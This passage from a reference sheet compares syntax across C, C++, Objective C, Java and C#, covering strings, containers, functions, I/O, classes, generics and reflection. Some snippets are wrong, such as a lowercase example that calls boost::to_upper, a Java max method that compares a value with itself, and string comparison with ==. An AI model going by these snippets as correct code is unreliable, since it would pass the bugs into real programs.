ostringstream o\(''\);  
o << "Spain" << ": " << 7;  
o.str\(\);| \[NSString stringWithFormat:@"%@: %d", @"Spain", 7\]|
String.format\("%s: %d", "Spain", 7\)| string.Format\("\{0\}: \{1\}", "Spain",
7\)  
uppercase| char \*s = strdup\("hello"\);  
int i;  
for \(i=0; i<strlen\(s\); i++\) \{  
s\[i\] = toupper\(s\[i\]\);  
\}| \#include <boost/algorithm/string.hpp>  
string s\("hello"\);  
boost::to\_upper\(s\);| \[@"hello" uppercaseString\]| "hello".toUpperCase\(\)|
"hello".ToUpper\(\)  
lowercase| char \*s = strdup\("HELLO"\);  
int i;  
for \(i=0; i<strlen\(s\); i++\) \{  
s\[i\] = tolower\(s\[i\]\);  
\}| \#include <boost/algorithm/string.hpp>  
string s\("HELLO"\);  
boost::to\_upper\(s\);| \[@"HELLO" lowercaseString\]| "HELLO".toLowerCase\(\)|
"HELLO".ToLower\(\)  
trim| | \#include <boost/algorithm/string.hpp>  
string s\(" hello "\);  
boost::trim\(s\);| \[@" hello " stringByTrimmingCharactersInSet:
\[NSCharacterSet whitespaceCharacterSet\]\]| " hello ".trim\(\)| " hello
".Trim\(\)  
pad on right| char buf\[100\];  
snprintf\(buf, 100, "%-10s", "hello"\);| | \[@"hello" stringByPaddingToLength:10 withString:@" " startingAtIndex:0\]| |   
regex match| \#include <regex.h>  
regex\_t re;  
if \(regcomp\(&re, "ll", REG\_EXTENDED\)\) \{  
 _handle error_  
\}  
int is\_match = \(regexec\(&re, "hello", \(size\_t\) 0, NULL, 0\) == 0\);  
regfree\(&re\);| \#include <boost/xpressive/xpressive.hpp>  
using namespace boost::xpressive;  
sregex re = sregex::compile\(".\*ll.\*"\);  
smatch matches;  
string s\("hello"\);  
bool is\_match = regex\_match\(s, matches, re\);| NSPredicate \*pred =
\[NSPredicate predicateWithFormat:@"SELF MATCHES %@", @".\*ll.\*"\];  
BOOL is\_match = \[pred evaluateWithObject:@"hello"\];| boolean isMatch =
"hello".matches\(".\*ll.\*"\);| using System.Text.RegularExpressions;  
Regex regex = new Regex\("ll"\);  
bool isMatch = regex.IsMatch\("hello"\);  
regex substitute| | \#include <boost/xpressive/xpressive.hpp>  
using namespace boost::xpressive;  
string s\("hello"\);  
sregex re1 = as\_xpr\("ll"\);  
string format1\("LL"\);  
string result1 = regex\_replace\(s, re1, format1,
regex\_constants::format\_first\_only\);  
sregex re2 = as\_xpr\("l"\);  
string format2\("L"\);  
string result2 = regex\_replace\(s, re2, format2\);| | String s1 = "hello".replace\("ll","LL"\);  
String s2 = "hello".replaceAll\("l","L"\);| using
System.Text.RegularExpressions;  
Regex r1 = new Regex\("ll"\);  
String s1 = r1.Replace\("hello", "LL", 1\);  
Regex r2 = new Regex\("l"\);  
String s2 = r2.Replace\("hello", "L"\);  
containers  
| c| c++| objective c| java| c\#  
allocate array on stack| int a\[10\];| int a\[10\];| int a\[10\];| _arrays
must be allocated on heap_|  _arrays must be allocated on heap_  
allocate array on heap| \#include <stdlib.h>  
int \*a = calloc\(10, sizeof\(int\)\);| int \*a = new int\[10\];| _use C_|
int\[\] a = new int\[10\];| int\[\] a = new int\[10\];  
free array on heap| \#include <stdlib.h>  
free\(a\);| delete\[\] a;| _use C_|  _garbage collected_|  _garbage collected_  
array literal| int a\[\] = \{1,2,3\};| _use C_|  NSArray \*a = \[NSArray
arrayWithObjects:@"hello", @"goodbye", nil\];| int\[\] a = \{1,2,3\};| int\[\]
a = \{1,2,3\};  
array access  
| a\[0\]| _use C_| \[a objectAtIndex:0\]| a\[0\]| a\[0\]  
length  
|  _none_|  _use C_| \[a count\]| a.length| a.Length  
array out-of-bounds result|  _undefined, possible SIGSEGV_|  _use C_|
_raises_ NSRangeException exception| ArrayIndexOutOfBoundsException|
IndexOutOfRangeException  
array iteration| int a\[10\];  
for \(i=0; i<10; i++ \) \{  
 _do something with a\[i\]_  
\}| _use C_|  NSEnumerator \*i = \[a objectEnumerator\];  
id o;  
while \(o = \[i nextObject\]\) \{  
 _do something with o_  
\}| for \(String name : names\) \{| foreach \(string name in names\) \{  
struct definition| struct medal\_count \{  
const char\* country;  
int gold;  
int silver;  
int bronze;  
\};| class MedalCount \{  
public:  
const char \*country;  
int gold;  
int silver;  
int bronze;  
\};| _use C_|  public class MedalCount \{  
public String country;  
public int gold;  
public int silver;  
public int bronze;  
\}| public class MedalCount \{  
public string country;  
public int gold;  
public int silver;  
public int bronze;  
\}  
struct declaration| struct medal\_count spain;| MedalCount spain;| _use C_|
MedalCount spain = new MedalCount\(\);| MedalCount spain = new MedalCount\(\);  
struct initialization| struct medal\_count spain = \{ "Spain", 3, 7, 4\};  
struct medal\_count france = \{ .gold = 8, .silver = 7, .bronze = 9, .country
= "France" \};| MedalCount spain = \{ "Spain", 3, 7, 4 \};| _use C_|  _no
object literal syntax; define a constructor_|  _no object literal syntax;
define a constructor_  
struct member assignment| spain.country = "Spain";  
spain.gold = 3;  
spain.silver = 7;  
spain.bronze = 4;| spain.country = "Spain";  
spain.gold = 3;  
spain.silver = 7;  
spain.bronze = 4;| _use C_|  spain.country = "Spain";  
spain.gold = 3;  
spain.silver = 7;  
spain.bronze = 4;| spain.country = "Spain";  
spain.gold = 3;  
spain.silver = 7;  
spain.bronze = 4;  
struct member access| int spain\_total = spain.gold + spain.silver +
spain.bronze;| int spain\_total = spain.gold + spain.silver + spain.bronze;|
_use C_|  int spain\_total = spain.gold + spain.silver + spain.bronze;| int
spain\_total = spain.gold + spain.silver + spain.bronze;  
union definition| union perl\_scalar \{  
char \*string;  
long integer;  
double number;  
void \*reference;  
\}| | | |   
union declaration| union perl\_scalar x;| | | |   
union access  
| x.integer = 7;| | | |   
vector declaration| | \#include <vector>  
vector <int> vec;| NSMutableArray \*a = \[NSMutableArray
arrayWithCapacity:10\];| java.util.Vector<String> vec = new
java.util.Vector<String>\(\);| using System.Collections.Generic;  
List<string> l = new List<string>\(\);  
vector push| | vec.push\_back\(7\);| \[a addObject:@"hello"\];| vec.add\("hello"\);  
_or_  
vec.add\(vec.size\(\), "hello"\)| l.Add\("hello"\);  
vector pop  
| | vec.pop\_back\(\);| \[a removeLastObject\];| vec.removeElementAt\(vec.size\(\)-1\);| l.RemoveAt\(l.Count - 1\);  
vector size  
| | vec.size\(\)| \[a count\]| vec.size\(\)| l.Count  
vector access| | vec\[0\]  
vec.at\(0\)| \[a objectAtIndex:0\]| vec.elementAt\(0\)| l\[0\]  
vector out of bounds result| |  _vec\[\] has undefined behavior_  
_vec.at\(\) raises_ out\_of\_range|  _raises_ NSRangeException|  _throws_
ArrayIndexOutOfBoundsException|  _throws_ System.ArgumentOutOfRangeException  
vector iteration| | int sum = 0;  
vector<int>::iterator vi;  
for \(vi = vec.begin\(\); vi \!= vec.end\(\); vi++ \) \{  
sum += \*vi;  
\}| NSEnumerator \*i = \[a objectEnumerator\];  
id o;  
while \(o = \[i nextObject\]\) \{  
 _do something with o_  
\}| for \( String s : vec \) \{  
 _do something with s_  
\}| foreach \( string s in l \) \{  
 _do something with s_  
\}  
pair| | pair<int, float> p\(7, 3.14\);  
cout << p.first << ", " << p.second << endl;| | | using System.Collections.Generic;  
KeyValuePair<string,int> pr = new KeyValuePair<string,int>\("hello",5\);  
System.Console.WriteLine\("\{0\} \{1\}", pr.Key, pr.Value\);  
map declaration| | \#include <map>  
map<string, int> m;| NSMutableDictionary \*dict = \[NSMutableDictionary
dictionaryWithCapacity:10\];| java.util.TreeMap<String, Integer> m = new
java.util.TreeMap<String, Integer>\(\);| using System.Collections.Generic;  
Dictionary<string, int> dict = new Dictionary<string, int>\(\);  
map access| | m\["hello"\] = 5;  
cout << m\["hello"\]\) << endl;| \[dict setObject:@"5" forKey:@"hello"\];  
\[dict objectForKey:@"hello"\]| m.put\("hello", 5\);  
m.get\("hello"\)| dict.Add\("hello", 5\);  
dict\["hello"\]  
map size  
| | m.size\(\)| \[dict count\]| m.size\(\)| dict.Count  
map remove element| | m.erase\(m.find\("hello"\)\);| \[dict removeObjectForKey:@"hello"\];| m.remove\("hello"\);| dict.Remove\("hello"\);  
map element not found result| | NULL| NULL| null|  _throws_ KeyNotFoundException  
_in_ System.Collections.Generic  
map iterate| | map<string,int>::iterator mi;  
for \(mi = m.begin\(\); mi \!= m.end\(\); mi++\) \{  
printf\("%s %d", mi->first, mi->second\)  
\}| NSEnumerator \*i = \[dict keyEnumerator\];  
id key;  
while \(\(key = \[i nextObject\]\)\) \{  
 _do something with key_  
\}| for \( java.util.Map.Entry<String, Integer> e : m.entrySet\(\) \) \{  
 _use e.getKey\(\) or e.getValue\(\)_  
\}| foreach \( KeyValuePair<string,int> e in dict\) \{  
 _use e.Key and e.Value_  
\}  
functions  
| c| c++| objective c| java| c\#  
pass by value| void use\_integer\(int i\) \{  
 _function body_  
\}  
int i = 7;  
use\_integer\(i\);| _use C_|  _use C_|  _primitive types are always passed by
value_|  _primitive types are always passed by value_  
pass by address| void use\_iptr\(int \*i\) \{  
 _function body_  
\}  
int i = 7;  
use\_iptr\(&i\);| _use C_|  _use C_|  _none_|  _none_  
pass by reference|  _none_|  void use\_iref\(int& i\) \{  
printf\("using iref: %d", i\);  
\}  
int i = 7;  
use\_iref\(i\);| _none_|  _objects and arrays are always passed by reference_|
_objects and arrays are always passed by reference_  
default argument value|  _none_|  float log\(float exp, float base=10.0\) \{|
_none_|  _use method overloading_|  _use method overloading_  
named parameters|  _none_|  _none_|  +\(float\)weight: \(float\) w height:
\(float\) h \{  
return \(w \* 703\) / \(h \* h\);  
\}  
+\(float\)height: \(float\) h weight: \(float\) w \{  
return \[BMI weight: w height: h\];  
\}  
\[BMI weight:155 height:70\];  
\[BMI height:70 weight:155\];| _none_|  _added in C\# 4.0:_  
static int BMI\(int weight, int height\) \{  
return \(weight \* 703\) / \(height \* height\);  
\}  
BMI\(weight: 123, height: 64\);  
BMI\(height: 64, weight: 123\);  
function overloading|  _no_|  _yes_|  _method overloading only_|  _yes_|
_yes_  
variable number of arguments| char\* concat\(int cnt, …\) \{  
int i, len;  
va\_list ap;  
char \*retval, \*arg;  
va\_start\(ap, cnt\);  
for \(i=0, len = 0; i < cnt; i++\) \{  
len += strlen\(va\_arg\(ap, char\*\)\);  
\}  
va\_end\(ap\);  
retval = calloc\(len+1,sizeof\(char\)\);  
va\_start\(ap, cnt\);  
for \(i=0,len=0; i < cnt; i++\) \{  
arg = va\_arg\(ap, char\*\);  
strcpy\(retval+len, arg\);  
len += strlen\(arg\);  
\}  
va\_end\(ap\);  
return retval;  
\}  
char \*s = concat\(4, "Hello", ", ", "World", "\!"\);| _use C; use default
values or function overloading for finite number of arities_|  _use C; use
method overloading for finite arities_|  public static String concat\(String
first, String… rest\) \{  
StringBuilder sb = new StringBuilder\(first\);  
for \(String arg: rest\) \{  
sb.append\(arg\);  
\}  
return sb.toString\(\);  
\}  
String s = Concat.concat\("Hello", ", ", "World", "\!"\);| public static
string concat\(params string\[\] args\) \{  
return System.String.Join\("",args\);  
\}  
string s = Concat.concat\("Hello", ", ", "World", "\!"\)  
passing functions| | | | |   
anonymous function| | | | |   
operator overloading|  _none_|  Rational Rational::operator+\(Rational& o\) \{  
return Rational\(this->num\*o.denom + o.num\*this->denom, this->denom \*
o.denom\);  
\}| _none_|  _none_|  public static Rational operator+\(Rational a, Rational
b\) \{  
return new Rational\(a.num\*b.denom + b.num \*a.denom,a.denom\*b.denom\);  
\}  
execution control  
| c| c++| objective c| java| c\#  
for| int i, n;  
for \(i=1,n=1; i<=10; i++\) \{  
n \*= i;  
\}| _use C_|  _use C_|  int n = 1;  
for \(int i=1; i<=10; i++\) \{  
n \*= i;  
\}| int i, n;  
for \(i=1,n=1; i<=10; i++\) \{  
n \*= i;  
\}  
if| if \(i>0\) \{  
signum = 1;  
\} else if \(i==0\) \{  
signum = 0;  
\} else \{  
signum = -1;  
\}| _use C_|  _use C_|  if \(i>0\) \{  
signum = 1;  
\} else if \(i==0\) \{  
signum = 0;  
\} else \{  
signum = -1;  
\}| if \(i>0\) \{  
signum = 1;  
\} else if \(i==0\) \{  
signum = 0;  
\} else \{  
signum = -1;  
\}  
while| int i = 0;  
while \(i<10\) \{  
…  
i++;  
\}| _use C_|  _use C_|  int i = 0;  
while \(i<10\) \{  
…  
i++;  
\}| int i = 0;  
while \(i<10\) \{  
…  
i++;  
\}  
switch| switch\(i\) \{  
case 0:  
0;  
break;  
case 1:  
1;  
break;  
default:  
-1;  
break;  
\}| _use C_|  _use C_|  switch\(i\) \{  
case 0:  
0;  
break;  
case 1:  
1;  
break;  
default:  
-1;  
break;  
\}| switch\(i\) \{  
case 0:  
0;  
break;  
case 1:  
1;  
break;  
default:  
-1;  
break;  
\}  
throw exception|  _none_|  throw exception\(\);| NSException \*exc =
\[NSException exceptionWithName:@"error" reason:@"failed" userInfo:nil\];  
@throw exc;| throw new Exception\("failed"\);| throw new
System.Exception\("failed"\);  
catch exception|  _none_|  try \{  
throw exception\(\);  
\} catch \(exception& e\) \{  
cout << "failed" << endl;  
\}| @try \{  
\[NSException raise:@"error" format:@"failed"\];  
\} @catch \(NSException \*e\) \{  
printf\(\[\[e reason\] UTF8String\]\);  
\}| try \{  
throw new Exception\("failed"\);  
\} catch \(Exception e\) \{  
System.out.println\(e.getMessage\(\)\);  
\}| try \{  
throw new System.Exception\("failed"\);  
\} catch \(System.Exception e\) \{  
System.Console.WriteLine\(e.Message\);  
\}  
finally clause|  _none_|  _use local object with destructor_|  @try \{  
 _risky code_  
\} @finally \{  
 _perform cleanup_  
\}| try \{  
 _risky code_  
\} finally \{  
 _perform cleanup_  
\}| try \{  
 _risky code_  
\} finally \{  
 _perform cleanup_  
\}  
methods must declare exceptions|  _no_|  _no_|  _no_|  _yes_|  _no_  
environment and i/o  
| c| c++| objective c| java| c\#  
signature of main| int main\(int argc, char \*\*argv\) \{| _use C_|  _use C_|
public class _Foo_ \{  
public static void main\(String\[\] args\) \{| public class _Foo_ \{  
public static void Main\(string\[\] args\) \{  
first argument  
|  _pathname of executable_|  _pathname of executable_|  _pathname of
executable_|  _first command line argument_|  _first command line argument_  
environment variable| \#include <stdlib.h>  
char \*home = getenv\("HOME"\);  
setenv\("EDITOR", "emacs", 1\);  
unsetenv\("EDITOR"\);| _use C_|  NSString \*home = \[\[\[NSProcessInfo
processInfo\] environment\] objectForKey:@"HOME"\];| String home =
System.getenv\("HOME"\);| using System.Environment;  
string home = GetEnvironmentVariable\("HOME"\);  
SetEnvironmentVariable\("EDITOR", "emacs"\);  
SetEnvironmentVariable\("EDITOR", null\);  
iterate thru environment variables| | | NSEnumerator \*i = \[\[\[NSProcessInfo processInfo\] environment\] keyEnumerator\];  
id key;  
while \(\(key = \[i nextObject\]\)\) \{  
 _use NSString key_  
\}| import java.util.Map;  
Map<String, String> env = System.getenv\(\);  
for \(String name : env.keySet\(\)\) \{  
String value = env.get\(name\)\);  
\}| using System.Collections;  
using System.Environment;  
IDictionary env = GetEnvironmentVariables\(\);  
foreach \(DictionaryEntry de in env\) \{  
 _use de.Key or de.Value_  
\}  
read from file| \#include <stdio.h>  
char buf\[2000\];  
FILE \*f;  
if \(\!\(f = fopen\("/etc/passwd", "r"\)\) \{  
 _handle error_  
\};  
while \(fgets\(buf, 2000, f\) \{  
 _process buf_  
\}  
if \(ferror\(f\)\) \{  
 _handle error_  
\}  
if \(fclose\(f\)\) \{  
 _handle error_  
\}| \#include <fstream>  
string line;  
ifstream f\("/etc/passwd"\);  
if \(f.is\_open\(\)\) \{  
while \(\!f.eof\(\)\) \{  
getline\(f, line\);  
 _process line_  
\}  
f.close\(\);  
if \( 0 \!= f.fail\(\) \) \{  
 _handle error_  
\}  
\}  
else \{  
 _handle error_  
\}| NSError \*error = nil;  
NSString \*s = \[NSString stringWithContentsOfFile: @"/etc/passwd"
encoding:NSUTF8StringEncoding error:&error\];  
if \( error \!= nil \) \{  
 _handle error_  
\}  
NSArray \*a = \[s componentsSeparatedByString:@"\n"\];  
id line;  
while \(line = \[i nextObject\]\) \{  
 _process line_  
\}| import java.io.BufferedReader;  
import java.io.FileReader;  
BufferedReader in = new BufferedReader\(new FileReader\("/etc/passwd"\)\);  
String line;  
while \(\(line = in.readLine\(\)\) \!= null\) \{  
 _process line_  
\}| using System.IO;  
StreamReader sr = new StreamReader\("/etc/passwd"\);  
string line;  
while \(\(line = sr.ReadLine\(\)\) \!= null\) \{  
 _use line_  
\}  
write to file| \#include <stdio.h>  
FILE \*f;  
if \(\!\(f= fopen\("/tmp/test1","w"\)\) \{  
 _handle error_  
\};  
int i;  
for \(i=0; i<10; i++\) \{  
fprintf\(f, "%d\n", i\);  
\}  
if \(ferror\(f\)\) \{  
 _handle error_  
\}  
if \(fclose\(f\)\) \{  
 _handle error_  
\}| \#include <fstream>  
ofstream f\("/tmp/test4"\);  
int i;  
for \(i=0; i<10; i++\) \{  
f << i << endl;  
\}  
f.close\(\);  
if \(0 \!= f.fail\(\)\) \{  
 _handle error_  
\}| | import java.io.BufferedWriter;  
import java.io.FileWriter;  
BufferedWriter fout = new BufferedWriter\(new FileWriter\("/tmp/test2"\)\);  
int i;  
for \(i=0; i<10; i++\) \{  
fout.write\(String.format\("%d", i\)\);  
fout.newLine\(\);  
\}  
fout.close\(\);| using System.IO;  
StreamWriter fout = new StreamWriter\("/tmp/test3"\);  
int i;  
for \(i=0; i<10; i++\) \{  
fout.WriteLine\(i.ToString\(\)\);  
\}  
fout.Close\(\);  
libraries and namespaces  
| c| c++| objective c| java| c\#  
declare namespace| | namespace foo \{  
namespace bar \{  
class Baz \{  
static const int ANSWER = 42;  
\};  
\}  
\}| | package foo.bar;  
public class Baz \{  
public static final int ANSWER = 42;  
\}| namespace foo \{  
namespace bar \{  
public class Baz \{  
public const int ANSWER = 42;  
\};  
\}  
\}  
multiple namespaces per file| |  _yes_| |  _no_|  _yes_  
namespaces map to directories| |  _no_| |  _yes_|  _no_  
import namespace| | using namespace foo::bar;  
cout << Baz::ANSWER << endl;| | import foo.bar.\*;  
System.out.println\(Baz.ANSWER\);| using foo.bar;  
System.Console.WriteLine\(Baz.ANSWER\);  
import part of namespace| | using namespace foo;  
cout << bar::Baz::ANSWER << endl;| | _none_|  _none_  
import symbol| | using foo::bar::Baz;  
cout << Baz::ANSWER << endl;| | import foo.bar.Baz;  
System.out.println\(Baz.ANSWER\);| _none_  
import static symbol| |  _none_| |  import static foo.bar.Baz.ANSWER;  
System.out.println\(ANSWER\);| _none_  
import position  
| |  _anywhere a statement is legal_| |  _after package and before type definitions_|  _outside of class definitions_  
using a symbol that hasn't been imported| | cout << foo::bar::Baz::ANSWER << endl;| | System.out.println\(foo.bar.Baz.ANSWER\);| using System.Console;  
WriteLine\(foo.bar.Baz.ANSWER\);  
objects  
| c| c++| objective c| java| c\#  
define class| |  _Rational.hpp:_  
class Rational \{  
public:  
int num, denom;  
Rational\(int num, int denom\);  
virtual ~Rational\(\);  
Rational operator+\(Rational& addend\);  
static Rational max\(Rational& a, Rational& b\);  
\};| _Rational.h:_  
\#import <Foundation/Foundation.h>  
@interface Rational : NSObject \{  
int num;  
int denom;  
\}  
@property int num, denom;  
-\(Rational\*\) initWith: \(int\) n: \(int\) d;  
-\(Rational\*\) add: \(Rational \*\) o;  
@end  
_Rational.m:_  
\#include "Rational.h"  
@implementation Rational  
@synthesize num, denom;  
-\(Rational\*\) add: \(Rational\*\) o \{  
int sum\_n = self.num \* o.denom + o.num \* self.denom;  
int sum\_d = self.denom \* o.denom;  
Rational\* sum = \[\[Rational alloc\] initWith: sum\_n: sum\_d\];  
return sum;  
\}  
@end| public class Rational \{  
public int num;  
public int denom;  
public Rational add\(Rational o\) throws Exception \{  
return new Rational\(this.num\*o.denom +
o.num\*this.denom,this.denom\*o.denom\);  
\}  
public static Rational max\(Rational a, Rational b\) \{  
return \(a.num\*b.denom > a.num\*b.denom\) ? a : b;  
\}  
\}| public class Rational \{  
public int num;  
public int denom;  
\}  
class definition location| |  _top level, class block, or function block_|  _top level_|  _top level, class block, or function block for anonymous classes_|   
constructor| | Rational::Rational\(int n, int d\) : num\(n\), denom\(d\) \{  
if \(denom == 0\) \{  
throw "zero denominator";  
\}  
int div = gcd\(n,d\);  
num = num / div;  
denom = denom / div;  
\}| -\(Rational\*\) initWith: \(int\) n: \(int\) d \{  
self = \[super init\];  
if \(self\) \{  
self.num = n;  
self.denom = d;  
\}  
return self;  
\}| public Rational\(int n, int d\) throws Exception \{  
if \(d == 0\) \{  
throw new Exception\("zero denominator"\);  
\}  
if \( d < 0 \) \{  
this.num = -1 \* n;  
this.denom = -1 \* d;  
\}  
else \{  
this.num = n;  
this.denom = d;  
\}  
\}| public Rational\(int n, int d\) \{  
if \(0 == d\) \{  
throw new System.Exception\("zero denominator"\);  
\}  
if \(d < 0\) \{  
this.num = -1 \* n;  
this.denom = -1 \* d;  
\}  
else \{  
this.num = n;  
this.denom = d;  
\}  
\}  
create object| | Rational r1\(7,3\);  
Rational \*r2 = new Rational\(8,5\);| Rational \*r = \[\[Rational alloc\]
initWith: 7: 3\];| Rational r = new Rational\(7,3\);| Rational r = new
Rational\(7,3\);  
destructor| | Rational::~Rational\(\) \{\};| -\(void\) dealloc \{  
\[super dealloc\];  
printf\("deallocated…"\);  
\}| protected void finalize\(\) throws Throwable \{  
super.finalize\(\);  
\}| ~Rational\(\) \{  
 _perform cleanup_  
\}  
destroy object  
| | delete r2;| \[r release\];| _none_|  _none_  
define method| | int Rational::height\(\) \{  
return \(abs\(num\) > abs\(denom\)\) ? abs\(num\) : abs\(denom\);  
\}| -\(int\) height \{  
if \( abs\(self.num\) > abs\(self.denom\) \) \{  
return abs\(self.num\);  
\}  
return abs\(self.denom\);  
\}| public int height\(\) \{  
return \(Math.abs\(this.num\) > this.denom\) ? Math.abs\(this.num\) :
this.denom;  
\}| public int Height\(\) \{  
return \(System.Math.Abs\(this.num\) > this.denom\) ?
System.Math.Abs\(this.num\) : this.denom;  
\}  
invoke method| | r1.height\(\);  
r2->height\(\);| \[r1 height\];| r.height\(\);| r.Height\(\);  
dynamic dispatch| |  _declare as virtual in base class_|  _dispatch always dynamic_|  _dispatch dynamic by default_|  _declare as virtual in base class and override in derived class_  
static dispatch| |  _dispatch static by default_|  _dispatch always dynamic_|  _declare as final, private, or static \(i.e. make it a class method\)_| _dispatch static by default; compiler error if same method defined in base and derived class and not marked virtual in base class_  
define class method| |  _declare static in class definition_|  _precede definition with +:_  
+\(Rational\*\) max: \(Rational\*\) a: \(Rational\*\) b \{  
if \( a.num \* b.denom > b.num \* a.denom \) \{  
return a;  
\}  
return b;  
\}| _declare static in class definition_|  _declare static in class
definition_  
invoke class method| | | | |   
name of receiver| | this| self| this| this  
access control| |  _access keywords define regions:_  
class Foo \{  
int privateInt1;  
int privateInt2;  
public:  
int publicInt1;  
int publicInt2;  
protected:  
int protectedInt1;  
int protectedInt2;  
private:  
int privateInt3;  
int privateInt4;  
\};| _access keywords define regions:_  
@interface Foo : NSObject \{  
int protectedInt1;  
int protectedInt2;  
@public  
int publicInt1;  
int publicInt2;  
@protected  
int protectedInt3;  
int protectedInt4;  
@private  
int privateInt1;  
int privateInt2;  
\}  
@end|  _access keywords required for methods and members:_  
public class Foo \{  
private int privateInt;  
protected int protectedInt;  
public int publicInt;  
\}| _access keywords available for methods and members:_  
public class Foo \{  
private int privateInt1;  
int privateInt2;  
protected int protectedInt;  
public int publicInt;  
\}  
anonymous class| |  _possible but not useful_|  _none_| \(new Object\(\) \{ public void hello\(\) \{ System.out.println\("hello\!"\); \} \}\).hello\(\);|   
subclass| | class Integer : public Rational \{  
public:  
Integer\(int n\);  
virtual ~Integer\(\);  
\};| | public class RInteger extends Rational \{  
public RInteger\(int n\) throws Throwable \{  
super\(n, 1\);  
\}  
\}|  
invoking superclass constructor| | Integer::Integer\(int n\) : Rational\(n, 1\) \{  
\}| | super\(n, 1\);|   
mark class underivable or method unoverrideable| |  _none_|  _none_|  final| sealed  
root class  
| |  _none_|  NSObject| java.lang.Object| System.Object  
root class methods| |  _none_|  autorelease  
class  
conformsToProtocol:  
hash  
isEqual:  
isKindOfClass:  
isProxy  
performSelector:  
performSelector:withObject:  
performSelector:withObject:withObject:  
release  
respondsToSelector:  
retain  
retainCount  
self  
superclass| clone\(\)  
equals\(\)  
finalize\(\)  
getClass\(\)  
hashCode\(\)  
toString\(\)| Equals\(\)  
Finalize\(\)  
GetHashCode\(\)  
GetType\(\)  
MemberwiseClone\(\)  
ReferenceEquals\(\)  
ToString\(\)  
generic types  
| c| c++| objective c| java| c\#  
define generic type| | template <class A>  
class Foo \{  
public:  
A a;  
Foo\(A a\);  
\};  
  
template <class A>  
Foo<A>::Foo\(A a\) : a\(a\) \{  
\}| | public class Foo<A> \{  
public A a;  
public Foo\(A a\) \{  
this.a = a;  
\}  
\}| public class Foo<A> \{  
public A a;  
public Foo\(A a\) \{  
this.a = a;  
\}  
\}  
instatiate generic type| | Foo<string> f = Foo<string>\("foo"\);| | Foo<String> f = new Foo<String>\("foo"\);| Foo<string> f = new Foo<string>\("foo"\);  
generic function| | template <class C>  
C add\(C a, C b\) \{  
return a + b;  
\}| | |   
generic array| | template <class C>  
class Foo \{  
public:  
C a\[10\];  
\};| | _not permitted. Use_ Object _as the element type for the array or use an_ ArrayList.| public class Bar<C> \{  
public C\[\] a;  
public Bar\(C c\) \{  
this.a = new C\[10\];  
\}  
\}  
value parameter| | template <int N>  
int add\(int i\) \{  
return N+i;  
\}  
  
cout << add<7>\(3\) << endl;| | |   
template parameter| | | | |   
template specialization| | | | |   
multiple type parameters| | template <class A, class B>  
class Pair \{  
public:  
A a;  
B b;  
Pair\(A a, B b\);  
\};  
  
template <class A, class B>  
Pair<A, B>::Pair\(A a, B b\) :  
a\(a\), b\(b\) \{ \}  
  
Pair<int, string> p =  
Pair<int, string>\(7, "foo"\);| | |   
generic type parameters| | Pair<int, Foo<string> > p =  
Pair<int, Foo<string> >\(  
7, Foo<string>\("foo"\)\);| | |   
template parameters| | | | |   
reflection  
| c| c++| objective c| java| c\#  
get type class of object| | | | o = new Object\(\);  
Class c = o.getClass\(\);| object o = new object\(\);  
System.Type t = o.GetType\(\);  
or  
System.type t = typeof\(o\);  
get type class from string| | | | Class c = Class.forName\("java.io.File"\);| using System;  
Type t = Type.GetType\("object"\);  
get type class from type identifier| | typeid\(Foo\)| | | System.Type t = typeof\(object\);  
class name  
| | typeid\(Foo\).name\(\)| | String name = c.getName\(\);| t.ToString\(\);  
get methods| | | | import java.lang.reflect.\*;  
Method\[\] m = c.getMethods\(\);| using System.Reflection;  
System.Type t = typeof\(object\);  
MethodInfo\[\] a = t.GetMethods\(\);  
has method| | | | import java.lang.reflect.\*;  
Class c = Class.forName\("java.io.File"\);  
Method\[\] a = c.getMethods\(\);  
boolean hasMethod = false;  
for \(int i=0; i < a.length; i++\) \{  
if \(a\[i\].getName\(\) == "toString"\) \{  
hasMethod = true;  
\}  
\}| null if method not found://  
MethodInfo m = t.GetMethod\("ToString"\);  
invoke method object| | | | import java.lang.reflect.\*;  
Class c = Class.forName\("java.io.File"\);  
Method m = c.getMethod\("toString"\);  
Object o = new Object\(\);  
m.invoke\(o\);| m.Invoke\(o\);  
|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
## General Footnotes

## hello world

How to write, compile, and run a "Hello, World\!" program.

## version used

The compiler version used for this cheatsheat.

## version

How to get the compiler version.

## libraries used

The libraries used for this reference sheet.

**C**

C Standard Library  
GNU C Library

The C standard library evolved with Unix and was first standardized by POSIX
in 1988. It is a collection of header files and compiled library objects, and
it is available on most systems including Windows. The headers must be
specified in the source files, but it is not necessary to explicitly link to
the library, at least when using gcc.

**C++**

Standard Template Library \(STL\)  
Boost 1.42.0

The STL provides a string class, streams, and a good selection of generic
container classes. Most systems provide it, though it may not be installed by
default. The Boost library fills out the C++ development environment,
providing a lot of functionality that is available to java via the Java API.
Boost generally has to be downloaded and installed separately.

**Objective C**

Foundation Framework

The Foundation Framework is the core of Cocoa, a set of libraries for
Objective C development on Mac OS X and the iPhone. The Foundation Framework
descends from NextStep, hence the NS prefix in the class names. NextStep was
made available to operating systems other than Next as OpenStep and the GNU
implementation is called GNUStep.

**Java**

Java 1.6 API

Java comes with a large standard library called the Java API.

**C\#**

.NET Framework 4 Class Library  
Mono Documentation

The core of the .NET framework is called the Base Class Library. Mono
implements the BCL, but does not implement all of the .NET framework.

## source, header, and object file suffix

**c++**

The gcc compiler will treat a file with any of the following suffixes as C++
source:

[code]

     .cc .cp .cxx .cpp .CPP .c++ .C
    
[/code]

## null

**C**

A typical definition:

[code]

    #define NULL (void *)0
    
[/code]

**C++**

A typical definition:

[code]

    const int NULL = 0;
    
[/code]

## printf

How to print a formatted string to standard out.

## case and underscores in names

Conventions typically observed for use of case and underscores in names. These
